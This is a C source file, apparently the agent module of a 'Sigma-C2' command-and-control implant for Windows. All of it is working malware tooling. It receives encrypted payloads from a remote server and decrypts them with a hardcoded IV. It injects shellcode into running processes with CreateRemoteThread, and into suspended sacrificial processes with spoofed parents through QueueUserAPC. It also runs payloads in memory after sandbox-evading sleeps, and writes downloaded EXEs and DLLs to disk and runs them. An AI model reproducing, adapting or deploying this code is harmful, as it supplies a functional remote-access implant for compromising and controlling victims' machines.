Files
Sigma-C2/agent/modules.c
2025-04-27 11:48:12 +02:00

481 lines
17 KiB
C

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "config.h"
#include "aes.c"
unsigned char iv[] = "sWDv47xwoMkg5gJY"; // 16 bytes
// Inject into running process
void InjectRemote(char* result, char* key, DWORD targetPID, unsigned char* shellcode, SIZE_T payloadSize) {
HANDLE hProcess = NULL;
LPVOID remoteMem = NULL;
HANDLE hThread = NULL;
BOOL success = FALSE;
// Get a handle to the target process
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, targetPID);
if (!hProcess) {
sprintf(result, "Error: Could not open target process (%ld)", GetLastError());
printf("%s\n", result);
return;
}
// Allocate memory in the target process for our shellcode
remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!remoteMem) {
sprintf(result, "Error: Could not allocate memory in target process (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
// Decrypt locally using tiny-AES-c
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CTR_xcrypt_buffer(&ctx, shellcode, payloadSize);
memset(key, 0, 16);
printf("Decrypted payload (first 32 bytes):\n");
for (int i = 0; i < 32 && i < payloadSize; i++) {
printf("%02x ", shellcode[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
// Write the shellcode to the allocated memory
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, payloadSize, &bytesWritten) ||
bytesWritten != payloadSize) {
sprintf(result, "Error: Could not write to target process memory (%ld), bytes written: %zu",
GetLastError(), bytesWritten);
printf("%s\n", result);
goto cleanup;
}
memset(shellcode, 0, payloadSize);
// Change memory permissions to executable
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, remoteMem, payloadSize, PAGE_EXECUTE_READ, &oldProtect)) {
sprintf(result, "Error: Could not change memory permissions (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
// Create a remote thread to execute the shellcode
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
if (!hThread) {
sprintf(result, "Error: Could not create remote thread (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
sprintf(result, "Successfully injected shellcode into process %ld", targetPID);
printf("%s\n", result);
success = TRUE;
cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
}
// Start new process, decrypt shellcode, inject it into process
void SpawnNew(char* result, char* key, char* path, unsigned char* shellcode, int payloadSize, DWORD parentPID) {
STARTUPINFOEXA stinfoex = { 0 };
STARTUPINFOA* stinfo = (STARTUPINFOA*)&stinfoex;
PROCESS_INFORMATION pinfo = { 0 };
DWORD oldprotect = 0;
BOOL success = FALSE;
LPVOID allocated_mem = NULL;
SIZE_T attributeSize = 0;
HANDLE hParentProcess = NULL;
DWORD creationFlags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
// Setup for parent process attribute if needed
if (parentPID != 0) {
// Get the size needed for the attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
stinfoex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attributeSize);
if (stinfoex.lpAttributeList == NULL) {
sprintf(result, "Error: Failed to allocate memory for attribute list (%ld)", GetLastError());
printf("%s\n", result);
return;
}
// Initialize the attribute list
if (!InitializeProcThreadAttributeList(stinfoex.lpAttributeList, 1, 0, &attributeSize)) {
sprintf(result, "Error: Failed to initialize attribute list (%ld)", GetLastError());
printf("%s\n", result);
HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
return;
}
// Open handle to parent process
hParentProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
if (hParentProcess == NULL) {
sprintf(result, "Error: Failed to open parent process (PID: %ld) (%ld)", parentPID, GetLastError());
printf("%s\n", result);
DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
return;
}
// Set the parent process attribute
if (!UpdateProcThreadAttribute(stinfoex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParentProcess, sizeof(HANDLE), NULL, NULL)) {
sprintf(result, "Error: Failed to update attribute list (%ld)", GetLastError());
printf("%s\n", result);
CloseHandle(hParentProcess);
DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
return;
}
// Set the size of the structure for extended startup info
stinfoex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Add EXTENDED_STARTUPINFO_PRESENT flag
creationFlags |= EXTENDED_STARTUPINFO_PRESENT;
} else {
// Standard startup info without parent process specification
stinfo->cb = sizeof(STARTUPINFOA);
}
// Start new process
BOOL SacrificialProc = CreateProcessA(
path, // Application name
NULL, // Command line
NULL, // Process security attributes
NULL, // Thread security attributes
FALSE, // Inherit handles
creationFlags, // Creation flags
NULL, // Environment
NULL, // Current directory
stinfo, // Startup info
&pinfo // Process information
);
// Clean up parent process resources if we used them
if (parentPID != 0) {
if (hParentProcess) CloseHandle(hParentProcess);
DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
}
if (SacrificialProc == 0) {
sprintf(result, "Error: Failed to create a sacrificial process (%ld)", GetLastError());
printf("%s\n", result);
return;
}
if (parentPID != 0) {
printf("Sacrificial process created with PID: %ld under parent PID: %ld\n", pinfo.dwProcessId, parentPID);
} else {
printf("Sacrificial process created with PID: %ld\n", pinfo.dwProcessId);
}
// Now allocate memory in the target process
allocated_mem = VirtualAllocEx(pinfo.hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (allocated_mem == NULL) {
sprintf(result, "Error: Failed to allocate memory in sacrificial process (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
// Decrypt locally using tiny-AES-c
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CTR_xcrypt_buffer(&ctx, shellcode, payloadSize);
memset(key, 0, 16);
printf("Decrypted payload (first 32 bytes):\n");
for (int i = 0; i < 32 && i < payloadSize; i++) {
printf("%02x ", shellcode[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
// Write the already-decrypted shellcode to the process
if (!WriteProcessMemory(pinfo.hProcess, allocated_mem, shellcode, payloadSize, NULL)) {
sprintf(result, "Error: Failed to write shellcode into memory (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
printf("Shellcode written into memory.\n");
memset(shellcode, 0, payloadSize);
// Change memory protection to allow execution
if (!VirtualProtectEx(pinfo.hProcess, allocated_mem, payloadSize, PAGE_EXECUTE_READ, &oldprotect)) {
sprintf(result, "Error: Failed to change memory protection (%ld)", GetLastError());
printf("%s\n", result);
goto cleanup;
}
printf("Changed memory protection\n");
// Execute the shellcode
QueueUserAPC((PAPCFUNC)allocated_mem, pinfo.hThread, 0);
ResumeThread(pinfo.hThread);
sprintf(result, "Successfully injected shellcode into new process with PID %ld", pinfo.dwProcessId);
printf("Shellcode Executed!\n");
printf("%s\n", result);
success = TRUE;
cleanup:
// Clean up process handles if we failed
if (!success && pinfo.hProcess) {
TerminateProcess(pinfo.hProcess, 0);
}
// Always close handles if they were opened
if (pinfo.hProcess) CloseHandle(pinfo.hProcess);
if (pinfo.hThread) CloseHandle(pinfo.hThread);
}
void ExecuteInMemory(char* key, unsigned char* encryptedPayload, int payloadSize, int sleepTime) {
printf("Payload size: %d\n", payloadSize);
if (sleepTime <= 0) sleepTime = 3600;
Sleep(sleepTime);
LPVOID allocated_mem = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (allocated_mem == NULL) return;
// Copy encrypted payload to allocated memory
memcpy(allocated_mem, encryptedPayload, payloadSize);
Sleep(sleepTime / 2);
// Decrypt in-place using tiny-AES
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CTR_xcrypt_buffer(&ctx, (byte*)allocated_mem, payloadSize);
memset(key, 0, 16);
printf("Decrypted payload (first 32 bytes):\n");
for (int i = 0; i < 32 && i < payloadSize; i++) {
printf("%02x ", ((unsigned char*)allocated_mem)[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
// Change memory protection to allow execution
DWORD oldProtect;
VirtualProtect(allocated_mem, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
Sleep(sleepTime / 3);
printf("Executing...\n");
void (*function)() = (void (*)())allocated_mem;
function();
printf("Done!\n");
Sleep(sleepTime / 4);
VirtualFree(allocated_mem, 0, MEM_RELEASE);
}
void RunDLLFromDisk(char* result, char* dllPath, char* exportedFunctionName, Transport* transport) {
HMODULE hModule = NULL;
FARPROC pFunction = NULL;
BOOL success = FALSE;
// Load the DLL
hModule = LoadLibrary(dllPath);
if (hModule == NULL) {
sprintf(result, "Error: Failed to load DLL: %s (%ld)", dllPath, GetLastError());
printf("%s\n", result);
SendTaskResult(transport, "", result);
return;
}
printf("Successfully loaded DLL: %s\n", dllPath);
// Get the address of the exported function
pFunction = GetProcAddress(hModule, exportedFunctionName);
if (pFunction == NULL) {
sprintf(result, "Error: Failed to locate the function '%s' (%ld)", exportedFunctionName, GetLastError());
printf("%s\n", result);
SendTaskResult(transport, "", result);
goto cleanup;
}
printf("Found exported function: %s\n", exportedFunctionName);
printf("Executing function '%s'...\n", exportedFunctionName);
// Execute the function
((void (*)())pFunction)();
sprintf(result, "Successfully executed function '%s' from DLL '%s'", exportedFunctionName, dllPath);
printf("%s\n", result);
SendTaskResult(transport, "", result);
success = TRUE;
cleanup:
if (hModule) {
FreeLibrary(hModule);
printf("Unloaded DLL: %s\n", dllPath);
}
}
void RunEXEFromDisk(char* result, char* exePath, Transport* transport) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL success = FALSE;
DWORD exitCode = 0;
// Initialize STARTUPINFO structure
si.cb = sizeof(si);
// Create the process
if (!CreateProcess(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
sprintf(result, "Error: Failed to create process '%s' (%ld)", exePath, GetLastError());
printf("%s\n", result);
SendTaskResult(transport, "", result);
return;
}
printf("Process created: %s (PID: %ld)\n", exePath, pi.dwProcessId);
// Wait for the process to complete
printf("Waiting for process to complete...\n");
WaitForSingleObject(pi.hProcess, INFINITE);
// Get the exit code
if (GetExitCodeProcess(pi.hProcess, &exitCode)) {
sprintf(result, "Successfully executed process '%s' with exit code %ld", exePath, exitCode);
} else {
sprintf(result, "Successfully executed process '%s' but couldn't retrieve exit code (%ld)",
exePath, GetLastError());
}
printf("%s\n", result);
SendTaskResult(transport, "", result);
success = TRUE;
// Clean up process handles
if (pi.hProcess) CloseHandle(pi.hProcess);
if (pi.hThread) CloseHandle(pi.hThread);
}
// Receive payload over network
void ReceiveModule(char* result, Transport* transport, char* taskType, char* taskArgs) {
char* key = strtok(taskArgs, "~");
char* taskArg1 = strtok(NULL, "~");
char* taskArg2 = strtok(NULL, "~");
char* sizeBuf = strtok(NULL, "");
// Example message
// TASK~spawn~bin~C:\Windows\system32\notepad.exe~9084~1201774
printf("Task type: %s\n", taskType);
printf("Key: %s\n", key);
printf("Argument 1: %s\n", taskArg1);
printf("Argument 2: %s\n", taskArg2);
printf("Size buf: %s\n", sizeBuf);
// Parse payload size based on type of command
int payloadSize;
if (strcmp(taskType, "inject") == 0) {
payloadSize = atoi(taskArg2);
printf("Module size (int): %d bytes\n", payloadSize);
}
else if (strcmp(taskType, "spawn") == 0) {
payloadSize = atoi(sizeBuf);
printf("Module size (int): %d bytes\n", payloadSize);
}
else {
payloadSize = atoi(taskArg1);
printf("Module size (int): %d bytes\n", payloadSize);
}
// Prepare buffer for payload
unsigned char payloadBuffer[payloadSize];
// Send ACK
if (transport->send(transport->handle, "ACK", strlen("ACK")) <= 0) {
printf("Error sending ACK to server\n");
return;
}
printf("Sent ACK to server, ready to receive data\n");
// Receive data with loop to ensure full buffer
int bytesReceived = 0;
int totalReceived = 0;
while (totalReceived < payloadSize) {
printf("Receiving module: ");
bytesReceived = transport->recv(transport->handle, payloadBuffer + totalReceived, payloadSize - totalReceived);
if (bytesReceived <= 0) {
printf("\nError receiving module data: %d\n", bytesReceived);
return;
}
totalReceived += bytesReceived;
printf("%d/%d bytes\n", totalReceived, payloadSize);
fflush(stdout);
}
bytesReceived = totalReceived;
// Verify received size
if (bytesReceived != payloadSize) {
printf("Warning: Expected %d bytes, received %d bytes\n", payloadSize, bytesReceived);
return;
}
printf("Received full module of size: %d bytes\n", bytesReceived);
// Process exe and dll files (write to disk first)
if (strcmp(taskType, "runexe") == 0 || strcmp(taskType, "rundll") == 0) {
// Decrypt before writing to disk
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CTR_xcrypt_buffer(&ctx, payloadBuffer, payloadSize);
printf("Decrypted payload (first 32 bytes):\n");
for (int i = 0; i < 32 && i < payloadSize; i++) {
printf("%02x ", payloadBuffer[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
char fileName[32];
if (strcmp(taskType, "runexe") == 0) {
sprintf(fileName, "module.exe");
}
else if (strcmp(taskType, "rundll") == 0) {
sprintf(fileName, "module.dll");
}
else if (strcmp(taskType, "sfinject") == 0) {
printf("Shellcode detected\n");
}
FILE* file = fopen(fileName, "wb");
if (!file) {
printf("Failed to open file for writing: %s\n", fileName);
memset(payloadBuffer, 0, payloadSize);
return;
}
size_t written = fwrite(payloadBuffer, 1, payloadSize, file);
if (written != payloadSize) {
printf("Error writing data to file: %s\n", fileName);
memset(payloadBuffer, 0, payloadSize);
fclose(file);
return;
}
fclose(file);
printf("Module data written to: %s\n", fileName);
if (strcmp(taskType, "runexe") == 0) {
RunEXEFromDisk(result, fileName, transport);
}
else if (strcmp(taskType, "rundll") == 0) {
RunDLLFromDisk(result, fileName, "ExecuteModule", transport);
}
}
if (strcmp(taskType, "inject") == 0) {
int pid = atoi(taskArg1);
InjectRemote(result, key, pid, payloadBuffer, payloadSize);
}
else if (strcmp(taskType, "spawn") == 0) {
int ppid = atoi(taskArg2);
SpawnNew(result, key, taskArg1, payloadBuffer, payloadSize, ppid);
}
}